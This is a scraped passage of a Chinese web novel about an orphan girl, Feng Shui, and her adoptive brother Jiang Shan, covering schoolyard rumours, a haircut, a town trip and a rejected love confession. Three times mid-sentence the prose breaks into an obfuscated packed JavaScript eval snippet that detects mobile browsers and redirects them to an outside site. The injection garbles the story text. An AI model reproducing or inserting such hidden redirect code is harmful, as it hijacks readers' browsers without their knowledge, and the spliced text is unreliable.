“哥?”冯水看他一直看着自己,眼神还要哭不哭的,歪着头看他,辫子都差点滑落到碗里,被蒋山一下子接住。 笨蛋妹妹。 “没事。”他轻勾着唇咽了咽,“哥就是想说……知道了。” 冯水看见他的动作,才意识到辫子差点滑到碗里,把头发拨了回来,柔顺微凉的发尾从蒋山手心拂过,痒酥酥的。 蒋山看着手心笑笑。 “你自己玩会儿吧,哥去洗碗了。” 蒋山起身作势要收拾碗筷,冯水看着他答应一声,照常去门口逗小花玩。 蒋山看她出门,偷偷将桌上那张写着两人名字的纸折起来收进兜里,装作若无其事地洗碗去了。 . 之后的几天上学,冯水还是和第一天上午一样认真写字,康元也是有时教教她、有时笑笑她。 她座位排在中间位置,讲台上的老师来了去,去了来,周围的同学睡了醒,醒了睡,只有前两排的几个学生在认真听着课。 大半个月下来,冯水识的字越来越多,虽然老师的板书还是认不太全,但至少能看懂哪些话对应哪些字,连蒙带猜地听着课,自以为终于能开始学习了,却不料成功加入被催眠的大部队。 照康元的话说就是,完全能听懂和完全听不懂都是绝对不会被催眠的,就是这种倒懂倒不懂的状态,要么干脆别听,只要一听,十句话之内必睡。 蒋山听了她上课总打瞌睡的事直笑,安慰她说学得进就学,实在学不进的话也没关系,他现在采药勤、种的地也比以前多,能养得起她,反正一开始带她去上学,也没指望她能学多好,能有个学历,识字、懂事,长大了不会被人欺负就行。 冯水挠着后脑勺皱眉听着,心里暗暗下定决心一定要好好读书给哥争气,但之后的每节课依然处在努力睁眼的状态。 今年的中秋节在九月底,和国庆节连着一起放,放假前一天的最后一节课,全校安排大扫除,班里按座位分配活儿,康元今天又没来,前后桌的同学不知怎么的也不搭理她,就冯水一个人倒垃圾。 下课铃响,班上同学才把垃圾倒进垃圾桶,看见黑板上写的倒垃圾的人是她,立马跑了,一副生怕被她叫住的模样。 冯水觉得奇怪,但也没多想,倒垃圾的活本来就没什么人愿意干,不想被叫住帮忙也正常。 垃圾堆在教学楼背后,垃圾桶也有半人高,而且已经装满,冯水皱着脸憋着气把垃圾桶拎起来,走一阵就要停下来,跑到远处吸气歇歇,又赶紧跑回来继续搬。 好不容易搬到教学楼拐角,马上就要到后面了,她放下来休息的间隙,听到有人正在说话。 “原来就是你们几个一直在散布谣言是吧?” “一天天的不好好学习,成天想着欺负同学。” “我今天要是没来倒垃圾,你们还打算造谣她到什么时候?” “金姐,我们没有造谣,只是想让更多人知道之后离她远点儿,也好保住自己家人的命不是吗?” “是啊金姐,那个冯水真的是克星,我同桌就是蒋家湾的,她刚来他就觉得眼熟,但还不敢确认,后来她哥来接她的时候他才确认的。” “她哥你也认识的啊,我都看到你俩说话了,就那个鸡窝头。” “他爷爷是疯子,他也是,成天顶着一头鸡窝,衣服洗烂了也不换,还捡个克星回家,真是不怕死。” “差不多得了啊,越说越来劲了,现在讲究科学,什么克星不克星的……” 冯水听他们骂蒋山,气得手都在抖,她攥紧拳头鼓起勇气从墙角出来,朝着他们大声喊了一句:“我哥不是疯子!” 几个人听见动静,朝她这边看过来,一共六个人,五个男的,四个她不认识,但其中有一个,就是那天蒋山来接她时她看到的那个。 原来他是蒋家湾的人。 还剩一个刚才帮她说话的女的,就是刘金。 她太过激动,呼吸急促,眼泪也跟着掉,语调都不稳了,但依旧大声重复:“我哥不是疯子!” “我哥不是疯子!”她攥着拳头继续大喊着。 刘金转脸看着她,眉头皱着,看上去像是在担心她,但又好像不只是担心。 她身后那几个人互相对视几眼,转身从教学楼另一边跑了。 “我哥不是疯子!”冯水朝着他们背影又喊了一遍。 他们加快脚步跑过了弯。 冯水眼泪越流越多,喉咙已经痛得说不出话,她张着嘴呼吸着,胸口不断起伏。 “我哥不是疯子!” “我哥……不是疯子。”她低下头小声重复着,抬手用衣袖蹭着眼泪。 下一秒,她被背后来的一股力道把住右臂,整个人被从后面包围住,短暂的晕眩后,她被抱进一个温暖而熟悉的怀抱。 映入眼帘的是一寸洗得褪色的衣服。 她想起那些人的话,眼泪再也止不住,张开双臂紧抱着蒋山大哭起来:“哥!” 蒋山单手抱着她,另一只手在她脑后轻轻摸着:“哥哥在。” “哥哥在。” . 冯水的垃圾桶是蒋山倒的,走的时候,刘金过来给冯水递了几张纸。 冯水伸手接了过来,却被蒋山抽走还了回去。 冯水被蒋山带着回了家。 晚饭时出奇地安静,连小花都识相地没再上蹿下跳讨肉吃。 冯水埋头扒着饭,脸上眼泪就没有干过。 蒋山试着吃了几口,愣是吃不下,转身要进屋给她拿帕子。 “蒋山!” 身后忽然传来这么一声。 是冯水。 蒋山愣住。 冯水从来没有叫过他的全名。 他有些迟钝地转过身来。 冯水放下了碗筷,一半都没吃到,抬手抹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669878|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把眼泪,进了堂屋。 蒋山在原地转身,视线跟随着她。 差不多一分钟,冯水拿着把大剪刀出来,还搬了个凳子到院子里。 她流着眼泪,气冲冲走过来拉他手臂。 “坐下!” 她把他按在凳子上,下一秒,蒋山感觉到自己头发被剪了一撮。 他噌地一下往旁边躲开:“冯水!” 他捂着头站起来,地上果然已经有了一撮黑发,他看向冯水,她还是哭着,眼睛红得吓人,但眼神格外坚定:“你剪我头发做什么?” 冯水看着他掉眼泪,情绪激动,说话都在颤:“就是要剪!” 蒋山心疼地皱眉看着她:“冯水。” “你别这样好吗?” “那你又为什么非要这样!”冯水朝他吼着。 “我哪样了?”他依旧温柔。 “你!”冯水憋了口气说不出来,下巴都在抖,“你!” 蒋山看她这样也是无奈:“不就是因为我顶着这个头发看着像疯子吗?” “没关系的冯水,哥已经跟你说了一路了,我不在乎的。” “可是我在乎!”冯水再次吼了一句,眼泪流了满脸。 “我在乎!” “我不要他们说你!” “我也不想看你一直活在你爷爷的影子里!” “冯水!”蒋山这回彻底发了火,朝她凶恶地吼了一句。 冯水被吓得一抖,眼睛都闭上了,但刚一缓过来,就立马睁开眼攥紧拳头,挺直了脊背和他继续对视。 蒋山气得点头笑笑:“好啊,长本事了。” 他一把抢过她手里的剪刀,拉着她往房间里带,冯水不肯,他就硬拖。 冯水一直在大哭,他也不听,一直把冯水拉进了屋子,啪的一声把门关上锁了起来,转身走了。 “哥!”冯水害怕得大哭,拍着门板喊他,“蒋山!你放我出去!” 蒋山停住要离开的脚步,咬着牙忍住眼泪。 “蒋山!” “蒋山!” 冯水还在大哭,带着破碎的哭腔近乎嘶吼。 蒋山心像刀剜一样疼,眼泪从他眼眶一滴又一滴滑落。 他攥着拳头在原地站了好一会儿。 转过身去把门又打开,冯水已经哭得不成样子,头发完全散开,绑头发的皮筋滑落在发尾岌岌可危。 “蒋山……” 冯水看着他又叫了一句,音量已经不大。 她嗓子都喊哑了。 蒋山心抽痛着,伸手把她牵了出来。 他在院子里坐下,把剪刀重新递给她。 “剪吧。” “想剪成什么样都可以。” 他轻声说着。 冯水抽泣着,接过剪刀,一边吸鼻子一边剪着。 太阳快下山了,冯水认真剪着,太阳完全下山,冯水还在剪着。 一点一点剪,先剪短,再剪短。 剪到头发只剩贴皮的一截青茬,她才开始给他修齐整。 光线已经非常不好,她上手摸了摸,觉得应该齐了,走到他面前,蹲了下来。 蒋山先是看着她,她还在抽泣,虽然不哭了,但眼睛还湿润着,脸上有一道又一道被风干的泪痕。 她没看他眼睛。 她的手轻轻摸到他的下巴,往上带了带。 蒋山不知道她要做什么,顺从地跟着她抬头,放在膝盖上的双手慢慢抓紧裤腿,心脏在胸膛不受控地猛砸着。 一股金属的凉意从他下巴传来,他被惊得一抖。 一阵刺痛。 冯水停了一下,但没说话,拿袖子给他擦了擦血,继续拿着一把他做来削水果的刀片给他刮着胡子。 什么时候拿的刀片? 蒋山抬头想着。 是拿剪刀的时候吗? 还知道藏兜里不让他发现。 他嘴角轻轻弯着。 看来笨蛋妹妹也没那么笨嘛。 他抬眼看着天。 深蓝色的夜幕,没有月亮,满是星星。 地上落了一堆他的头发和胡子,和院子里的尘土混在一起。 曾几何时,蒋二全也是在这院子里修剪头发和胡子。 蒋山看着正上方的一颗星星。 爷爷。 乖孙……从今天起,就先不乖了。 他眨了下眼,一滴泪从他眼角滑落,星光映在上面,染成又一颗星星。 “乖孙,永远都是最乖的。” 13. 柔藤绕06 蒋山的头发和胡子就这么被剪了,洗澡的时候下意识抬手搓头发,只搓到一截短短的青茬,下巴上也是光秃秃的。 但……似乎并没有很齐整。 不过这是冯水第一次给他剪头发和胡子,手艺不精,可以理解。 他勾着嘴角擦干头上和脸上的水,回屋的时候,冯水已经躺在床上了,但她没动,蚊帐也没关。 他走近过去看她,果然已经睡熟了。 大概是今天真的太累了。 蒋山在床边坐下,盯着她看了会儿,又想摸摸她的头发,手都伸出去一半了,怕弄醒她,又收了回来。 他站起身,把蚊帐关好,吹了灯睡下。 第二天就是中秋,冯水昨天哭喊得厉害,睡了一夜嗓子也没好,蒋山没给她做太辣的菜,冯水没嫌弃,却也没和他说话,连月饼节快乐都没说,也不跟着他去地里了,带着小花漫山遍野地跑。 第三天,两人生日,蒋山又给冯水做了身衣服,照旧做了水果蛋糕,只是前年种的柚子树结果了,他又添了柚子这样水果,还拿白糖熬了糖浆,做了冰糖柚子和苹果。 冯水和他一起许了愿吹了蜡烛,终于开口和他说了生日快乐,送了他一条红线编的手绳,穿着四颗被缠成一个小圈的淡白色麦冬种子,绳子长度正好和他手腕贴合,但他不知道她是什么时候做的,也不知道是什么时候给他量的尺寸。 蒋山收了礼物高兴,正想问冯水是什么时候给他做的,但冯水已经转身出了门,还是不搭理他。 还在生气啊。 蒋山看着手绳抿唇叹了口气。 小姑娘气性还真不小。 去年的时候何家村和镇上通了公路,从蒋家湾到镇上的路程直接少了一大半,路上不停的话,六个小时就能到。 假期的最后两天,蒋山采了药,要去镇上换钱,顺便给冯水拿点润嗓子的药,原本还打算趁着这次带着冯水去镇上再买两件内衣的,但看她这模样,也不知道还愿不愿意去。 虽然冯水这几天还是一直冷着他,但毕竟那天是他先吼她的,还拉她、把她关进屋子里,害她哭得嗓子都哑了现在还没好,生气也正常,而且他是哥哥嘛,哄妹妹也是应该的。 他一大早就起了床,收拾好了草药,准备回屋去问问冯水,刚要推门,看见冯水背着书包出来。 “今天要上学吗?”蒋山以为自己记错了日子,赶紧看了看时间,已经要迟到了,牵着冯水就要往学校赶。 “不上学。”冯水说了句,嗓子还有些哑,但相比之前已经好了很多。 蒋山疑惑地回过头来,牵着她的手没放,冯水也没抽回去。 “我也要去镇上。”她看着蒋山说着,听语气,她大概是想冷漠一些的,但因为眼睛太大,眼神也太过认真,看着莫名可爱。 蒋山没忍住笑起来,冯水立马耷拉了嘴角抽回手。 “不许笑我!”她抬头朝他喊了一句。 蒋山低头咽了咽,收起笑意,但眼里的情绪却藏不住:“不笑就不笑。” 他背上草药带着冯水出门,锁了门之后照例去牵冯水的手,冯水大概是还在生刚才的气,抽手不想让他牵。 蒋山手上用了点力,不让她抽走,低头一本正经:“哥哥不是说过吗?山路上,必须哥哥牵着走。” 冯水看了他一会儿,想着他以前好像确实说过这些话,他还说如果不牵的话很容易摔下去,会特别特别痛。 纠结两秒,没再挣扎,也牵上他。 蒋山勾唇握紧她的手,拉着她往镇上走着。 到了地方,蒋山还是先去中药铺卖草药,这么多年下来,他和老板已经混熟,老板也知道种地累死累活也挣不了几个钱,他就指望着这个钱过日子,家里还有个十三四岁的妹妹要养,从不给他压价,好些时候缺药了,还主动告诉他缺什么,如果他有,就买他的。 蒋山卖了草药,给冯水买了润喉糖,和老板道过谢,领着冯水就要去内衣店。 但冯水却拉着他要往另一边走。 “去哪儿?”蒋山回头问她。 “裁缝店。”冯水看着他一脸认真。 蒋山觉得意外:“裁缝店?” “想做新衣服了吗?”他低头问她。 冯水莫名有点心虚,低头错开他的视线,但语气还是硬硬的:“对!” 蒋山更意外了。 店里做衣服工钱能比自己做贵出好几倍,冯水一向懂事,就算想吃糖也从不要贵的,今天忽然闹着要去…… 多半还是因为上次那些人说的话。 她是想给他做。 说不定还没打算用他的钱。 蒋山眼神落在她的包上,背了一路也不让碰,肯定有问题。 他趁她不注意,伸手提溜起来。 不重,但也不轻。 “你干嘛?”冯水被拎住背包,抖着肩膀想让他放开。 “都不叫哥了啊冯水。”蒋山拎着她的包不放。 冯水听他语气冷了些,抬眼看他。 蒋山看她被自己唬住,佯装严肃问她:“里面装的什么?” 冯水睁着大眼睛看他,有点害怕,但她还是不说。 她低下头:“不告诉你。” 她又想起蒋山说她现在都不叫哥了,又改口:“不告诉哥。” 蒋山嘴角动了动,伸手拉开她的拉链。 “蒋山!”冯水着急起来,但蒋山已经把拉链拉开,里面装了半书包淘洗干净的麦冬。 “你放开!”冯水把包取下来拉上拉链,背在胸前紧抱着不让他看。 蒋山知道她着急,明明都不打算和她抢了,偏偏还要在她书包带子上装模作样地轻轻拽两下:“这几天没跟着我去地里,就是去挖这个了?” 冯水抱紧了书包,脸也用力皱成一团,死活不说话。 蒋山看着她想笑,左右看了看,附近没什么好吃的逗不了,他想了想,忽然开口:“真不说话?” “不说话那我走了。” 说完就作势要转身离开,冯水想带他去裁缝店做衣服,只要他不去,任凭她有几书包麦冬也做不成。 果然,下一秒冯水拉住他的手:“蒋山!” 他回过头看着她。 冯水已经委屈得不行,眉毛拧着,嘴也瘪着,眼眶里盈满泪水。 蒋山没想惹她哭,赶紧转了回来,上前把她抱进怀里:“不哭不哭,哥逗你的,哥不走。” 冯水在他怀里抽泣几下,动了动被挤在他怀里的手和书包:“那你跟我去裁缝店。” 蒋山放开她,给她擦了擦眼泪,笑着牵她的双手:“哥跟你去裁缝店,但是哥只买布,不做衣服。” 冯水又闭了眼要哭。 蒋山笑起来,赶紧哄:“这次是给哥买布,回去……” “冯水给哥做。” 冯水抬手抹了把眼泪:“我不会……” 蒋山又笑起来,伸手去抱冯水:“哥教你做,实在不行,哥自己做。” “冯水给哥挑布的颜色就行。” 冯水点了头,蒋山又给她擦了擦眼泪,看她把书包背在身前,想抱都不方便,伸手把她的包拎起来:“把包给哥,我们先去药铺换钱。” 冯水听话地由着他取包,蒋山看她瘪嘴哭着,觉得可爱但又忍不住心疼,抱着她又哄了哄,想起刚才去药店买了有甜的润喉糖,从包里翻出来给她:“吃个糖?” 冯水看了看糖,又看了看蒋山,哭唧唧地问了句:“甜吗?” 蒋山笑着认真点头:“老板说很甜。” 冯水伸手去接糖,蒋山却又将糖拿走。 她忍着泪抬头看他。 “不是……”蒋山慌忙笑着解释,“哥只是想喂你吃。” 他赶紧把包装撕开,喂给冯水。 冯水看糖都喂过来了,也没多想,张嘴去吃。 糖并不算小,但蒋山选择捻在手里,冯水一向只顾着吃,从来不管蒋山的手在不在,一口上去,又隔着糖纸亲到了他。 蒋山看着被沾湿了一点点的指尖,低头笑笑。 还是笨蛋妹妹。 “走吧,换了麦冬再去买布。” . 蒋山拿冯水的麦冬换了钱,但去裁缝店选好布结账的时候却没有用这个钱。 冯水只想着要买布,并没有注意到。 从裁缝店出来,蒋山带着冯水去买内衣。 还是那几个店员姑娘在,但他换了发型,上次调戏他的那两个姑娘差点没认出来,还是看见了冯水才意识到原来他就是上次那个走复古风的流浪歌手。 冯水还是跟着上次帮她选内衣的店员姐姐试衣服,蒋山拎着一口袋布站在店里,没有了上次的拘谨和窘迫。 他有妹妹啊。 这些衣服将来他妹妹说不定都会穿。 是妹妹的衣服的话,那就不用觉得紧张。 上次蒋山和冯水走了以后,两个姑娘被店长教育了一下,这次他又来,她俩虽然还是忍不住想调戏,但多少还是收敛了一些。 而且……蒋山看上去似乎变了很多。 都不害羞了,调戏着也没啥意思。 但总归还是帅的,聊聊天也行。 “帅弟弟,怎么想着换发型了啊?” “是啊,你这个发型……看着也挺别致。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669879|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蒋山满脑子都是冯水挖麦冬给他买衣服,都没听清别人问的什么,就自顾自笑起来:“哦,对。” 两个姑娘奇怪地皱紧了眉,互相对视一眼,悄咪咪走了。 过了好一会儿,冯水选好新的内衣出来,店员还是照例给他讲了一下内衣漂洗注意事项,蒋山目光落在冯水新买的内衣上。 还真是……大了一些了。 他低头清了清嗓,把装内衣的口袋拎起来,牵着冯水回家。 . 假期的最后一天,蒋山一大早就被冯水拉起来做衣服。 昨晚哄她睡觉的时候明明她都不生气来着,还非要抱着他胳膊才肯睡,但今早起来,蒋山觉得冯水好像又有点不高兴。 不对他笑就算了,还很凶,而且她现在都不总是甜甜地叫他哥了,好些时候都是直接略过称呼,不然就是叫他蒋山。 下午的时候蒋山正慢悠悠剪着布料,冯水站在一边朝他嚷嚷:“你快点做!我今晚就要看到你穿新衣服,穿三件!” 听着咋咋呼呼的,但蒋山一抬头,她明显缩了一下,拳头也攥得老紧,大眼睛看着他一眨一眨的,明明害怕,但就是不错开眼神。 算上上午的蒋山不许不吃蛋、蒋山你必须把这碗鱼汤喝完、你手放低一点我量不到、你给我坐下……等话,这已经是冯水第十一次对他大呼小叫了。 而且还不叫哥。 蒋山干脆放下了剪刀,歪着头逗她:“哥哥今天还就不剪了,怎么着吧。” “你!”冯水一下子慌了,但她又不会说别的,只是紧抿唇看着他,眉毛拧着,胸口起伏着,眼睛很快就红了,攥紧拳头憋眼泪。 蒋山有时候真是搞不懂冯水,明明叫一声哥哥就能解决的事,干什么非要硬来,而且明明她以前一直很会撒娇的。 他叹了口气起身想去安慰,但冯水被他起身的动作吓到。 蒋山这下也愣了。 他现在……在冯水眼里这么可怕吗? 所以她才不敢再撒娇,只敢这样虚张声势地提出自己的要求吗? 他过去牵她:“冯水,我是哥哥,你不用害怕哥哥。” “但也不可以这么和哥哥说话的。” 冯水抬头看着他,还是一副要哭的模样。 蒋山觉得应该还是因为上次吼了她的原因,再一次和她道歉:“上次吼你是哥哥不对,哥哥给你道歉,你别生气了好不好?” 他垂下眼,忽然也有点难过:“也别这样对哥哥好不好?” 冯水抬头看着他,发现他怎么也是一副要哭的模样,自己突然就不想哭了,眼泪也回去了,她先是抬手给自己擦了擦已经流出来的眼泪,然后吸了吸鼻子,小心凑近了一些,踮脚看他:“哥……” 蒋山看她一眼,脸上表情没变。 冯水泄力踩了回去,心虚地低下了头。 蒋山……好像要被她凶哭了。 大概两秒,她试着张开双臂,从蒋山腰两侧轻轻抱了上去,发现他没有阻拦,然后整个人贴了上去,脸也贴了上去。 “哥。”她叫他一句,是以前的语气,软糯的,可爱的。 蒋山垂眸看她,嘴角轻轻勾起,但不说话。 冯水没听到他答应,抬头看他,蒋山立马恢复了表情,眼神里满是忧伤。 冯水不禁抬手挠了挠头,眼看就要从他怀里离开,蒋山一下子把她抱了回去。 “下次不许再凶哥哥了。” “哥哥会伤心。” “听到了吗?” 冯水被抱得很紧,脸都挤变形,她抬手推了推:“听到了。” 蒋山低头看到她的脸,轻笑着松了松,但没放。 “那冯水和哥哥保证。” “就说……以后再也不凶哥哥了,以后……每天都要对哥哥笑,不能叫蒋山,也不能不叫称呼,必须叫哥哥。” “为什么?” “明明你也一直叫我冯水。” “因为我是哥哥啊。” “哥哥就可以吗?” “对啊。”蒋山笑着,“哥哥就可以。” 冯水皱着眉不理解,但还是答应了他。 晚上,蒋山做好了三件衣服,一件一件穿给冯水看。 但除了颜色不一样,冯水看不出有什么区别。 大概……蒋山只会做这样的? 但没关系,蒋山已经剪了头发,也有新衣服了,还有她给亲手他编的幸运手绳。 她会一直守着蒋山,让他在照顾好她的同时,也要学会照顾好自己。 蒋山不是疯子。 是冯水的哥哥。 最亲最亲的哥哥。 14. 柔藤绕07 冯水知道了同学们不理她的原因,再次回学校上课的时候也就放平了心态,不再试着和人交朋友,也不理会别人的议论纷纷,每天自己上课下课写作业打扫卫生,放学了就和蒋山一起手拉手回家。 唯一让她意外的是,康元好像并没有很在意这件事,她跟着家里人去走了趟亲戚,缺了好几天课,但回来之后还是和以前一样时而教她时而笑她,但更多的时候,是和她一起在课堂上此起彼伏地打瞌睡。 蒋山担心冯水在学校受欺负,更怕她受了欺负又不和她说,连着好几天地都没种,偷偷溜进学校看她,发现她和康元处得还挺好,回来的时候好像也挺开心的,这才慢慢放下心来。 只是他们偶尔还是会在校门口或者上学放学的路上遇到蒋家湾的人,但那些人总是一看见他们就跑,比起厌恶,他们表现出来的似乎更像是害怕。 怕蒋山这个疯子,也怕冯水这个克星。 蒋山一开始还担心冯水会难过,但后面发现有康元陪着,冯水好像也没有太在意这些事。 他忽然觉得这样也挺好的,虽然冯水在学校的朋友因此少了,但至少筛选掉的都是一些不好的,留下来的都是真心的。 而且对冯水这样手不能提肩不能扛的小姑娘来说,让别人害怕,远比害怕别人要好。 日子就这么一天天过着,冯水的成绩虽然还是没什么起色,但她已经基本识字,平时跟着蒋山去地里玩的时候还会教蒋山认字。 新的一年到来,冯水果真如刘金说的那样开始窜个子,直接从班里身高倒数二一的女生跻身成为正数一二,蒋山去年给她做的衣服又穿不了了,年初做的时候还特意留了些余长,结果刚到初夏,就又正好合身了。 蒋山就这样看着冯水一点点长高,一点点长大,一点点从那个扎俩麻花小辫儿追着他喊着哥哥亲哥哥抱哥哥我要吃糖的小屁孩儿长成扎单个低马尾的文静小姑娘。 但她在他面前还是爱笑,还是爱吃好吃的,还是白天偶尔冲他发发小脾气、但晚上又要哭着闹着让他陪着睡。 蒋山总是嘴上嫌弃着说怎么都这么大了还不懂事,但同时心里又美滋滋地享受着她的依赖。 要是妹妹能一直这么不懂事该多好。 蒋山看着躺在他怀里睡着的冯水这样想着。 他已经记不清这是自己第几次将冯水抱在怀里哄睡了,记得她刚来那会儿,自己还牢记着什么男女有别,什么兄妹之间也要避嫌,还常常因为这事儿把冯水惹哭,后来虽然是搬来和她一起睡了,但到底还是分了床的,哄睡的时候也只是坐在她床头,给她摇扇子,或者陪她聊聊天,看她睡着了,就又回自己的床上去。 明明冯水小的时候他都还不敢和她太亲近,怎么现在冯水和他都长大了,反而还敢直接抱在怀里睡了呢? 因为……真的把自己当成她哥哥了吗? 所以……这样肆无忌惮。 蒋山不禁这样想着,怀里的人呼吸逐渐变慢,他低头看去,冯水已经在他怀里睡熟。 还是小小的一张脸,白白净净的皮肤,清秀好看、但在逐渐长开的五官,还有……逐渐暴躁的脾气。 蒋山看着她勾了勾唇,闭眼轻轻凑近了她的额发。 香香的,皂角的味道。 妹妹的味道。 他又想起冯水十一岁那年的生日,也是他第一次给她过生日,明明刚开始还很高兴来着,但后面一听他没有生日,主动把生日分享给他,结果他还不要,噘着嘴哭得好伤心。 蒋山看怀里的冯水笑起来,那年之后,他才有了自己的生日,也是在那一年,他终于选好了自己这么多年来一直模糊的年龄。 他想离冯水近一些,再近一些,于是选了更小的一个数字。 所以冯水满十一,他就满十四,今年冯水十四,他也才十七。 只是大三岁而已,没有很多。 蒋山看她睡熟,轻轻将手抽离,重新躺回到自己床上。 冯水。 他的名字、生日、年龄、发型和衣服,他身边的一切几乎已经全都有关于冯水。 而且完全是他自己的所想所愿,至今没有丝毫后悔。 他能感觉到自己对冯水的有些情感正在发生变化,但具体是什么时候开始的、变了多少、又变成了什么,他说不清楚,也不想去弄清楚。 就这样浑浊着、混乱着、搅合在一起。 最好永远都不要有清楚的一天。 他是冯水的唯一,冯水也是他的唯一。 兄妹,又或者是别的什么,都不重要。 只要是唯一,就好。 他闭上眼,两人脖间项链上的那几颗同蚌而出的珍珠正贴着各自的皮肤,随着逐渐平稳的呼吸起伏着,在朦胧的夜色里,映映生辉。 五月初的时候,学校要组织一个舞蹈节目去何家村的高中为高三毕业生表演,初二年级由康元负责选人,冯水身高身材长相都很不错,被康元连哄带骗地拉了过去充数,每天下午的最后一节课都要跟着其他年级同学一起排练舞蹈,往往到了放学的时间也走不了。 蒋山也不急,冯水在教室里排练,他就在外面等。 舞蹈教室里都是女孩儿,不会想要在排练的时候被男的看见,蒋山知道这个道理,每次都站得老远,瞥见有人从教室出来了,他再过去。 这天他还是照常去接冯水,教室里排练结束,他从台阶上起身,过去找冯水。 冯水正笑着和康元一起走出门,蒋山刚准备叫她,看见冯水先被另一个男生叫住。 蒋山正奇怪这人是从哪儿冒出来的,就看见他手上还拿着花和信封。 他赶紧跑了过去,在冯水一脸懵地接过他递来的花和信封前一秒,把冯水拉了过来。 “你谁啊?要对我妹做什么?” “我……”那个男生看上去和冯水差不多大,比冯水高一个头,长相一般,但看着还挺顺眼,做了好久的心理准备才决定开始的表白就这么被人一下子打断,而且来的人还是冯水的家长,男生站在原地看了看一脸懵的冯水,又看了看满脸警惕的蒋山,紧张得满头大汗。 “我……我叫刘明明,是初一一班的,但我也十四岁。”他用力捏着拳头鼓起勇气,“我喜欢冯水!” “哇……”和冯水一起排练的女生们连连惊叹。 “好勇敢,这可是冯水她哥啊。” “是啊,当着家长直接表白。” “长得其实还将就,但配冯水好像还是差点意思。” “哎呀人好就行了。” …… 周围议论声不断,蒋山一手拉着冯水,另一只手死死攥着拳头,浑身血液都在沸腾,胸口不断起伏着。 这是蒋山生平第一次想骂脏话。 “冯……冯水。” 刘明明又看向冯水,还想把花和情书递给她,蒋山一把抢过来扔到了地上,警告他说:“听着,我管你什么刘明明李明明,冯水是我妹妹,你要再敢来骚扰她,别怪我对你不客气!” “走。”他转身拉了冯水一下,力气有点大,冯水一个没反应过来,差点撞他背上。 回家的路上蒋山一直黑着脸不说话,紧紧牵着冯水的手,热出汗了也不放开。 而且还走得很快。 冯水不懂他到底在气什么,明明也没发生什么大事,而且她从小就被人骂克星,现在终于有人喜欢了,难道不是好事吗?蒋山为什么会生气? 但他黑着脸的模样着实吓人,冯水不敢说话,只咬着牙跟着,走两步就要小跑一下,走两步就要小跑一下,坚持了快一半的路程,实在是跟不上了,本来跳了舞就累,结果回个家还要一直跑,而且手还热得很,她浑身都不舒服,偏偏蒋山还不理她,越走越想哭,一哭起来就看不清路,脚被一块石头绊住,眼看就要摔到地上,被蒋山一把捞起。 “没事吧?”蒋山吓得赶紧检查她的腿,抬头一看,这才发现她哭了。 他心里的火突然一下子全灭了,脸也不黑了,看着她说话都不连续:“怎……怎么哭了?” 冯水看他终于不凶了,吸了两下鼻子憋眼泪,却再没憋住:“哥……” 她已经不再像小时候那样仰头大哭,但还是完全跟着情绪哭得皱皱巴巴,没有半点小姑娘怕丑的顾虑。 “哎哎哎。”蒋山忙把她抱进怀里,“哥在呢,不哭不哭。” “你发脾气,你走好快。” 她抬起手:“还捏我……” 蒋山皱着眉很是无奈,他明明都没有用力,只是没放而已,而且……有那么快吗? 这就急哭了? 不是都十四了吗? 怎么还和小时候一样。 他叹了口气。 这样也好。 蒋山照例抱着她哄着:“哥错了,哥不知道嘛。” “我们冯水受委屈了。” “哥下次绝对不这样了。” 冯水在这些小事上一向好哄,只是被他抱着哄了几句,就觉得自己好些了,两只手一起胡乱擦了眼泪从他怀里出来:“哥。” “嗯?”蒋山又帮她擦了擦剩下的眼泪,擦完大概是觉得不够尽兴,又在她脸上捏了捏。 还是软软凉凉的。 他还是没忍住弯了弯嘴角,看着冯水满眼温柔,好像刚才那个黑脸发脾气的人并不是他。 冯水偏了点头挣开他,看着他一脸认真:“你为什么生气?” “哥不是说,被人喜欢是很好的事吗?” “为什么有人说喜欢我,哥不高兴。” 蒋山又想起刘明明刚才给冯水告白的样子,顿时又有点不爽,但面对着冯水,他又不敢太凶:“哥说的喜欢,和刘明明说的喜欢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669880|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是一种喜欢。” “哥说的喜欢。”蒋山皱眉想了想,“是无论男女老少的,他们的喜欢可以帮你、照顾你的那种,是对你好的。” “但刘明明,还有别的男生的喜欢,是想从你这里得到些什么,是对他们有利的。” 冯水皱眉思考一会儿,没懂。 但好奇。 “那之前刘金喜欢哥,也是想从哥这里得到什么吗?” “那到底是想得到什么?” “嘶……”蒋山皱着眉倒吸一口凉气,有点儿不知道该怎么和冯水解释,“是,但也不是……” “得到的东西……很复杂。” 他再次皱紧了眉,想了想,还是暂时先不要和冯水说这些。 “反正……刘金是女生,在喜欢这件事上。” “女生其实就是吃亏的一方。” “所以冯水不可以接受别的男生的喜欢。” 